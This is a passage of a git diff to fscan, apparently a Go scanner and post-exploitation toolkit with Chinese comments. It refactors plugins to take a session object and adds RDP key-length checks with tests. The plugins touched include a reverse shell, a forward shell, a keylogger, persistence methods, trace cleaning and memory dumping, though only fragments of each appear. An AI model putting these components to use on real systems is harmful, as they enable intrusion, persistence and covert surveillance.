sharedHTTPClient *http.Client +) + +func getSharedHTTPClient(config *common.Config) *http.Client { + sharedHTTPClientOnce.Do(func() { + sharedHTTPClient = createHTTPClient(config) + // 启用 keep-alive 复用连接 + if t, ok := sharedHTTPClient.Transport.(*http.Transport); ok { + t.DisableKeepAlives = false + t.MaxIdleConns = 100 + t.MaxIdleConnsPerHost = 2 + } + }) + return sharedHTTPClient +} + // WebPortDetector 简化的Web检测器 - 保持API兼容 type WebPortDetector struct{} @@ -29,9 +49,9 @@ func GetWebPortDetector() *WebPortDetector { // DetectHTTPScheme 智能检测HTTP/HTTPS协议 // 策略:TLS握手优先(快速且准确),失败后尝试HTTP // 返回: "https", "http", 或 "" (都不是Web服务) -func DetectHTTPScheme(host string, port int, config *common.Config) string { +func DetectHTTPScheme(host string, port int, config *common.Config, session *common.ScanSession) string { // 优化:先快速检测 TCP 连通性 - if !isPortReachable(host, port, config) { + if !isPortReachable(host, port, config, session) { return "" } @@ -58,15 +78,7 @@ func DetectHTTPScheme(host string, port int, config *common.Config) string { // TLS握手失败,记录原因 // 第二步:尝试HTTP请求(回退检测HTTP) - client := &http.Client{ - Timeout: timeout, - Transport: &http.Transport{ - DisableKeepAlives: true, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse // 不跟随重定向 - }, - } + client := getSharedHTTPClient(config) // 使用HEAD请求(更轻量) httpURL := fmt.Sprintf("http://%s", addr) @@ -124,14 +136,14 @@ func createHTTPClient(config *common.Config) *http.Client { } // DetectHTTPServiceOnly HTTP协议检测 - 保持API兼容,简化实现 -func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config) bool { +func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config, session *common.ScanSession) bool { // 优化:先快速检测 TCP 连通性,避免在不可达端口上浪费双倍超时时间 // 对于不存在的端口,这可以将检测时间从 2×timeout 减少到 1×timeout - if !isPortReachable(host, port, config) { + if !isPortReachable(host, port, config, session) { return false } - client := createHTTPClient(config) + client := getSharedHTTPClient(config) // 尝试HTTP if w.tryHTTP(client, host, port, "http") { @@ -148,11 +160,11 @@ func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *c // isPortReachable 快速检测端口是否可达(TCP 连接测试) // 用于在 HTTP/HTTPS 检测前过滤不可达端口,避免双重超时 -func isPortReachable(host string, port int, config *common.Config) bool { +func isPortReachable(host string, port int, config *common.Config, session *common.ScanSession) bool { timeout := config.Network.WebTimeout addr := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := net.DialTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(context.Background(), "tcp", addr, timeout) if err != nil { return false } @@ -276,30 +288,6 @@ func IsMarkedWebService(host string, port int) bool { return exists } -// =============================== -// 指纹缓存 -// =============================== - -// 指纹缓存 - 存储 host:port → 指纹列表的映射 -var ( - fingerprintCache = make(map[string][]string) - fingerprintCacheMutex sync.RWMutex -) - -// SetFingerprints 存储目标的指纹信息 -func SetFingerprints(host string, port int, fingerprints []string) { - if len(fingerprints) == 0 { - return - } - - cacheKey := fmt.Sprintf("%s:%d", host, port) - - fingerprintCacheMutex.Lock() - defer fingerprintCacheMutex.Unlock() - - fingerprintCache[cacheKey] = fingerprints -} - // =============================== // Web扫描策略 // =============================== @@ -327,7 +315,7 @@ func (s *WebScanStrategy) Description() string { } // Execute 执行Web扫描策略 -func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *WebScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 输出扫描开始信息 s.LogScanStart() @@ -338,13 +326,13 @@ func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, in } // 准备URL目标 - targets := s.PrepareTargets(info, state) + targets := s.PrepareTargets(info, session.State) // 输出插件信息 - s.LogPluginInfo(config) + s.LogPluginInfo(session.Config) // 执行扫描任务 - ExecuteScanTasks(config, state, targets, s, ch, wg) + ExecuteScanTasks(ctx, session, targets, s, ch, wg) } // PrepareTargets 准备URL目标列表 diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ee67d86..ae5ae5e 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -662,6 +662,8 @@ func TestDetectHTTPScheme(t *testing.T) { cfg.Network.WebTimeout = 2 * time.Second defer func() { cfg.Network.WebTimeout = oldTimeout }() + session := common.NewScanSession(cfg, common.NewState(), common.GetFlagVars()) + t.Run("HTTPS服务器检测", func(t *testing.T) { // 创建HTTPS测试服务器 server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -677,7 +679,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "https" { t.Errorf("DetectHTTPScheme() = %q, 期望 'https'", result) } @@ -698,7 +700,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "http" { t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result) } @@ -706,7 +708,7 @@ func TestDetectHTTPScheme(t *testing.T) { t.Run("不存在的服务", func(t *testing.T) { // 使用127.0.0.1的一个未使用端口 - result := DetectHTTPScheme("127.0.0.1", 65534, cfg) + result := DetectHTTPScheme("127.0.0.1", 65534, cfg, session) if result != "" { t.Errorf("不存在的服务应返回空字符串, 实际 %q", result) } @@ -736,7 +738,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme("127.0.0.1", port, cfg) + result := DetectHTTPScheme("127.0.0.1", port, cfg, session) if result != "" { t.Logf("非Web服务检测返回: %q (预期空字符串,但立即关闭连接可能被误判)", result) } @@ -757,7 +759,7 @@ func TestDetectHTTPScheme(t *testing.T) { host, portStr, _ := net.SplitHostPort(server.Listener.Addr().String()) port, _ := strconv.Atoi(portStr) - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "https" { t.Errorf("TLS 1.0服务器应被检测为https, 实际 %q", result) } diff --git a/main.go b/main.go index b145efc..125e582 100644 --- a/main.go +++ b/main.go @@ -1,6 +1,7 @@ package main import ( + "context" "os" "os/signal" "syscall" @@ -64,7 +65,8 @@ func main() { os.Exit(130) // 128 + SIGINT(2) = 130,标准的中断退出码 }() defer func() { _ = common.Cleanup() }() + defer common.CloseLogger() // 执行扫描 - core.RunScan(*result.Info, result.Config, result.State) + core.RunScan(context.Background(), *result.Info, result.Session) } diff --git a/mylib/grdp/login/screen.go b/mylib/grdp/login/screen.go index 910b4f0..8babaec 100644 --- a/mylib/grdp/login/screen.go +++ b/mylib/grdp/login/screen.go @@ -173,7 +173,7 @@ func (g *Client) NlaAuthOnly(domain, user, pwd string, timeout int64) (bool, err func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpProtocol uint32) (info map[string]any) { start := time.Now() - exitFlag := make(chan bool) + exitFlag := make(chan bool, 1) info = make(map[string]any) targetSlice := strings.Split(g.Host, ":") @@ -200,6 +200,12 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP g.pdu.SetFastPathSender(g.tpkt) g.sec.SetChannelSender(g.mcs) + g.sec.On("error", func(e error) { + err = e + glog.Error("sec error", e) + g.pdu.Emit("done") + }) + g.tpkt.On("os_info", func(infoMap map[string]any) { glog.Debug("[+] callback, get os info ........................") for k, v := range infoMap { diff --git a/mylib/grdp/protocol/sec/sec.go b/mylib/grdp/protocol/sec/sec.go index eba25d2..d4aac11 100644 --- a/mylib/grdp/protocol/sec/sec.go +++ b/mylib/grdp/protocol/sec/sec.go @@ -9,6 +9,7 @@ import ( "crypto/sha1" "encoding/hex" "errors" + "fmt" "io" "unicode/utf16" @@ -495,7 +496,9 @@ func (c *Client) connect(clientData []interface{}, serverData []interface{}, use c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0 if c.enableEncryption { - c.sendClientRandom() + if !c.sendClientRandom() { + return + } } c.sendInfoPkt() @@ -611,7 +614,11 @@ func sessionKeyBlob(secret, random1, random2 []byte) []byte { return ms.Bytes() } -func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte) { +func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte, error) { + if len(clientRandom) < 32 || len(serverRandom) < 32 { + return nil, nil, nil, fmt.Errorf("invalid RDP random length: client=%d server=%d", len(clientRandom), len(serverRandom)) + } + b := &bytes.Buffer{} b.Write(clientRandom[:24]) b.Write(serverRandom[:24]) @@ -633,12 +640,12 @@ func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []b glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128)) //generate valid key if method == gcc.ENCRYPTION_FLAG_40BIT { - return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128) + return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128), nil } else if method == gcc.ENCRYPTION_FLAG_56BIT { - return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128) + return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128), nil } // method == gcc.ENCRYPTION_FLAG_128BIT - return macKey128, initialFirstKey128, initialSecondKey128 + return macKey128, initialFirstKey128, initialSecondKey128, nil } @@ -656,7 +663,7 @@ func (e *ClientSecurityExchangePDU) serialize() []byte { return buff.Bytes() } -func (c *Client) sendClientRandom() { +func (c *Client) sendClientRandom() bool { glog.Debug("send Client Random") clientRandom := core.Random(32) @@ -665,8 +672,14 @@ func (c *Client) sendClientRandom() { serverRandom := c.ServerSecurityData().ServerRandom glog.Debug("ServerRandom:", hex.EncodeToString(serverRandom)) - c.macKey, c.initialDecrytKey, c.initialEncryptKey = generateKeys(clientRandom, + var err error + c.macKey, c.initialDecrytKey, c.initialEncryptKey, err = generateKeys(clientRandom, serverRandom, c.ServerSecurityData().EncryptionMethod) + if err != nil { + glog.Error("generateKeys failed:", err) + c.Emit("error", err) + return false + } //initialize keys c.currentDecrytKey = c.initialDecrytKey @@ -681,13 +694,13 @@ func (c *Client) sendClientRandom() { if err != nil || serverPubKey == nil { glog.Error("GetPublicKey failed:", err) c.Emit("error", errors.New("failed to get server public key")) - return + return false } ret, err := rsa.EncryptPKCS1v15(rand.Reader, serverPubKey, core.Reverse(clientRandom)) if err != nil { glog.Error("EncryptPKCS1v15 err:", err) c.Emit("error", err) - return + return false } message := ClientSecurityExchangePDU{} message.EncryptedClientRandom = core.Reverse(ret) @@ -697,6 +710,7 @@ func (c *Client) sendClientRandom() { glog.Debug("message:", message) c.sendFlagged(EXCHANGE_PKT, message.serialize()) + return true } func (c *Client) sendInfoPkt() { var secFlag uint16 = INFO_PKT diff --git a/mylib/grdp/protocol/sec/sec_test.go b/mylib/grdp/protocol/sec/sec_test.go new file mode 100644 index 0000000..7906688 --- /dev/null +++ b/mylib/grdp/protocol/sec/sec_test.go @@ -0,0 +1,38 @@ +package sec + +import ( + "testing" + + "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" +) + +func TestGenerateKeysRejectsShortRandoms(t *testing.T) { + glog.SetLevel(glog.NONE) + + clientRandom := make([]byte, 32) + serverRandom := make([]byte, 32) + + if _, _, _, err := generateKeys(clientRandom, nil, gcc.ENCRYPTION_FLAG_128BIT); err == nil { + t.Fatal("expected error for empty server random") + } + + if _, _, _, err := generateKeys(nil, serverRandom, gcc.ENCRYPTION_FLAG_128BIT); err == nil { + t.Fatal("expected error for empty client random") + } +} + +func TestGenerateKeysAcceptsValidRandoms(t *testing.T) { + glog.SetLevel(glog.NONE) + + clientRandom := make([]byte, 32) + serverRandom := make([]byte, 32) + + macKey, decryptKey, encryptKey, err := generateKeys(clientRandom, serverRandom, gcc.ENCRYPTION_FLAG_128BIT) + if err != nil { + t.Fatalf("generateKeys returned error for valid randoms: %v", err) + } + if len(macKey) != 16 || len(decryptKey) != 16 || len(encryptKey) != 16 { + t.Fatalf("unexpected key lengths: mac=%d decrypt=%d encrypt=%d", len(macKey), len(decryptKey), len(encryptKey)) + } +} diff --git a/plugins/init.go b/plugins/init.go index 3aee1ad..23188ea 100644 --- a/plugins/init.go +++ b/plugins/init.go @@ -11,7 +11,7 @@ import ( // Plugin 统一插件接口 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *Result + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *Result } // BasePlugin 基础插件结构,提供通用的name字段 @@ -62,7 +62,7 @@ type Result struct { // Exploiter 利用接口 type Exploiter interface { - Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult + Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult } // ExploitResult 利用结果 diff --git a/plugins/local/avdetect.go b/plugins/local/avdetect.go index ff5f1cb..b1436db 100644 --- a/plugins/local/avdetect.go +++ b/plugins/local/avdetect.go @@ -53,7 +53,7 @@ func NewAVDetectPlugin() *AVDetectPlugin { } // Scan 执行AV/EDR检测 - 直接、有效 -func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var detectedAVs []string @@ -69,7 +69,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - output.WriteString(fmt.Sprintf("扫描进程数: %d\n\n", len(processes))) + _, _ = fmt.Fprintf(&output, "扫描进程数: %d\n\n", len(processes)) // 检测AV产品 - 使用JSON数据库 for avName, avProduct := range p.avProducts { @@ -92,13 +92,13 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config if len(foundProcesses) > 0 { detectedAVs = append(detectedAVs, avName) - output.WriteString(fmt.Sprintf("✓ 检测到 %s:\n", avName)) + _, _ = fmt.Fprintf(&output, "✓ 检测到 %s:\n", avName) common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses))) // 输出详细进程信息到控制台 for _, proc := range foundProcesses { - output.WriteString(fmt.Sprintf(" - %s\n", proc)) + _, _ = fmt.Fprintf(&output, " - %s\n", proc) common.LogInfo(i18n.Tr("avdetect_process", proc)) } output.WriteString("\n") @@ -107,7 +107,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 统计结果 output.WriteString("=== 检测结果 ===\n") - output.WriteString(fmt.Sprintf("检测到的AV产品: %d个\n", len(detectedAVs))) + _, _ = fmt.Fprintf(&output, "检测到的AV产品: %d个\n", len(detectedAVs)) if len(detectedAVs) > 0 { output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n") diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go index 6d11682..5c2ddb6 100644 --- a/plugins/local/cleaner.go +++ b/plugins/local/cleaner.go @@ -32,7 +32,7 @@ func NewCleanerPlugin() *CleanerPlugin { } // Scan 执行系统痕迹清理 - 直接、简单 -func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var filesCleared, dirsCleared, sysCleared int @@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config for _, file := range files { if p.removeFile(file) { filesCleared++ - output.WriteString(fmt.Sprintf("清理文件: %s\n", file)) + _, _ = fmt.Fprintf(&output, "清理文件: %s\n", file) } } @@ -53,7 +53,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config for _, file := range tempFiles { if p.removeFile(file) { filesCleared++ - output.WriteString(fmt.Sprintf("清理临时文件: %s\n", file)) + _, _ = fmt.Fprintf(&output, "清理临时文件: %s\n", file) } } diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go index 612a8bc..eaf84cd 100644 --- a/plugins/local/crontask.go +++ b/plugins/local/crontask.go @@ -35,7 +35,8 @@ func NewCronTaskPlugin() *CronTaskPlugin { } // Scan 执行计划任务持久化 - 直接实现 -func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/dcinfo.go b/plugins/local/dcinfo.go index 3eccf6e..55d448e 100644 --- a/plugins/local/dcinfo.go +++ b/plugins/local/dcinfo.go @@ -41,7 +41,9 @@ func NewDCInfoPlugin() *DCInfoPlugin { } // Scan 执行域控信息收集 - 直接实现 -func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder output.WriteString("=== 域控制器信息收集 ===\n") diff --git a/plugins/local/downloader.go b/plugins/local/downloader.go index 1684ac8..a4afeb3 100644 --- a/plugins/local/downloader.go +++ b/plugins/local/downloader.go @@ -35,7 +35,8 @@ func NewDownloaderPlugin() *DownloaderPlugin { } // Scan 执行文件下载任务 - 直接实现 -func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder // 从config获取配置 diff --git a/plugins/local/envinfo.go b/plugins/local/envinfo.go index fdcf46c..7c2c9d3 100644 --- a/plugins/local/envinfo.go +++ b/plugins/local/envinfo.go @@ -30,7 +30,7 @@ func NewEnvInfoPlugin() *EnvInfoPlugin { } // Scan 执行环境变量收集 - 直接、有效 -func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var sensitiveVars []string diff --git a/plugins/local/fileinfo.go b/plugins/local/fileinfo.go index 0462df7..708c1d5 100644 --- a/plugins/local/fileinfo.go +++ b/plugins/local/fileinfo.go @@ -33,7 +33,7 @@ func NewFileInfoPlugin() *FileInfoPlugin { } // Scan 执行本地文件扫描 - 直接、简单、有效 -func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var foundFiles []string // 扫描关键敏感文件位置 - 删除复杂的配置系统 diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go index 1da9c75..9a571bd 100644 --- a/plugins/local/forwardshell.go +++ b/plugins/local/forwardshell.go @@ -37,7 +37,9 @@ func NewForwardShellPlugin() *ForwardShellPlugin { } // Scan 执行正向Shell服务 - 直接实现 -func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -114,14 +116,20 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i } common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(conn) + go p.handleClient(ctx, conn) } } // handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { +func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) { defer func() { _ = clientConn.Close() }() + // ctx 取消时关闭连接,解除阻塞的读操作 + go func() { + <-ctx.Done() + _ = clientConn.Close() + }() + // 发送欢迎信息 welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) _, _ = clientConn.Write([]byte(welcome)) @@ -145,7 +153,7 @@ func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { p.executeCommand(clientConn, command) } - if err := scanner.Err(); err != nil { + if err := scanner.Err(); err != nil && ctx.Err() == nil { common.LogError(i18n.Tr("forwardshell_read_failed", err)) } } diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go index 0183915..0354cdd 100644 --- a/plugins/local/keylogger.go +++ b/plugins/local/keylogger.go @@ -23,8 +23,6 @@ import ( // - 保持原有功能逻辑 type KeyloggerPlugin struct { plugins.BasePlugin - isRunning bool - stopChan chan struct{} keyBuffer []string bufferMutex sync.RWMutex } @@ -33,13 +31,13 @@ type KeyloggerPlugin struct { func NewKeyloggerPlugin() *KeyloggerPlugin { return &KeyloggerPlugin{ BasePlugin: plugins.NewBasePlugin("keylogger"), - stopChan: make(chan struct{}), keyBuffer: make([]string, 0), } } // Scan 执行键盘记录 - 直接实现 -func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder // 从config获取配置 @@ -100,10 +98,6 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, confi // startKeylogging 启动键盘记录 func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error { - p.isRunning = true - defer func() { - p.isRunning = false - }() // 根据平台启动相应的键盘记录 var err error diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go index 33af08a..2d879c0 100644 --- a/plugins/local/ldpreload.go +++ b/plugins/local/ldpreload.go @@ -33,7 +33,8 @@ func NewLDPreloadPlugin() *LDPreloadPlugin { } // Scan 执行LD_PRELOAD持久化 - 直接实现 -func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index cffd3fc..61acdb0 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -83,7 +83,9 @@ func NewMiniDumpPlugin() *MiniDumpPlugin { } // Scan 执行内存转储 - 直接实现 -func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State defer func() { if r := recover(); r != nil { common.LogError(i18n.Tr("minidump_panic", r)) diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go index 53704a7..3a6e99f 100644 --- a/plugins/local/reverseshell.go +++ b/plugins/local/reverseshell.go @@ -5,6 +5,7 @@ package local import ( "bufio" "context" + "errors" "fmt" "io" "net" @@ -13,6 +14,7 @@ import ( "runtime" "strconv" "strings" + "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" @@ -38,7 +40,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin { // GetName 实现Plugin接口 // Scan 执行反弹Shell - 直接实现 -func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -123,12 +127,20 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s prompt := fmt.Sprintf("%s> ", getCurrentDir()) _, _ = conn.Write([]byte(prompt)) + // 设置读取超时,以便能响应 ctx 取消 + _ = conn.SetReadDeadline(time.Now().Add(1 * time.Second)) + // 读取命令 cmdLine, err := reader.ReadString('\n') if err != nil { if err == io.EOF { return nil } + // 超时继续循环检查 ctx + var netErr net.Error + if errors.As(err, &netErr) && netErr.Timeout() { + continue + } return fmt.Errorf("读取命令错误: %w", err) } diff --git a/plugins/local/shellenv.go b/plugins/local/shellenv.go index 936d2fc..0f29d6f 100644 --- a/plugins/local/shellenv.go +++ b/plugins/local/shellenv.go @@ -33,7 +33,8 @@ func NewShellEnvPlugin() *ShellEnvPlugin { } // Scan 执行Shell环境变量持久化 - 直接实现 -func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index 8c74a9d..0342e8b 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -36,7 +36,9 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { } // Scan 执行SOCKS5代理扫描 - 直接实现 -func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -118,24 +120,34 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta } // 并发处理客户端连接 - go p.handleClient(conn) + go p.handleClient(ctx, conn) } } // handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) { +func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) { defer func() { _ = clientConn.Close() }() + // ctx 取消时关闭连接,解除阻塞的 IO + go func() { + <-ctx.Done() + _ = clientConn.Close() + }() + // SOCKS5握手阶段 if err := p.handleSocks5Handshake(clientConn); err != nil { - common.LogError(i18n.Tr("socks5_handshake_failed", err)) + if ctx.Err() == nil { + common.LogError(i18n.Tr("socks5_handshake_failed", err)) + } return } // SOCKS5请求阶段 targetConn, _, err := p.handleSocks5Request(clientConn) if err != nil { - common.LogError(i18n.Tr("socks5_request_failed", err)) + if ctx.Err() == nil { + common.LogError(i18n.Tr("socks5_request_failed", err)) + } return } defer func() { _ = targetConn.Close() }() diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go index 525232e..2a6081b 100644 --- a/plugins/local/systemdservice.go +++ b/plugins/local/systemdservice.go @@ -33,7 +33,8 @@ func NewSystemdServicePlugin() *SystemdServicePlugin { } // Scan 执行系统服务持久化 - 直接实现 -func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go index 0ac0d9f..3eab92b 100644 --- a/plugins/local/systeminfo.go +++ b/plugins/local/systeminfo.go @@ -33,7 +33,7 @@ func NewSystemInfoPlugin() *SystemInfoPlugin { } // Scan 执行系统信息收集 - 直接、简单、有效 -func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder output.WriteString("=== 系统信息收集 ===\n") diff --git a/plugins/local/types.go b/plugins/local/types.go index 010fbaf..8e18cd0 100644 --- a/plugins/local/types.go +++ b/plugins/local/types.go @@ -10,7 +10,7 @@ import ( // Plugin 本地插件接口 - 不需要端口概念 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result } // RegisterLocalPlugin 注册本地插件 - 自动标记local类型 diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index cdaabbb..35413d6 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -32,7 +32,9 @@ func NewWinRegistryPlugin() *WinRegistryPlugin { } // Scan 执行Windows注册表持久化 - 直接实现 -func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder if runtime.GOOS != "windows" { diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index f0a5bb2..fa3bef0 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -33,7 +33,9 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin { } // Scan 执行Windows计划任务持久化 - 直接实现 -func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index 59c0359..564413a 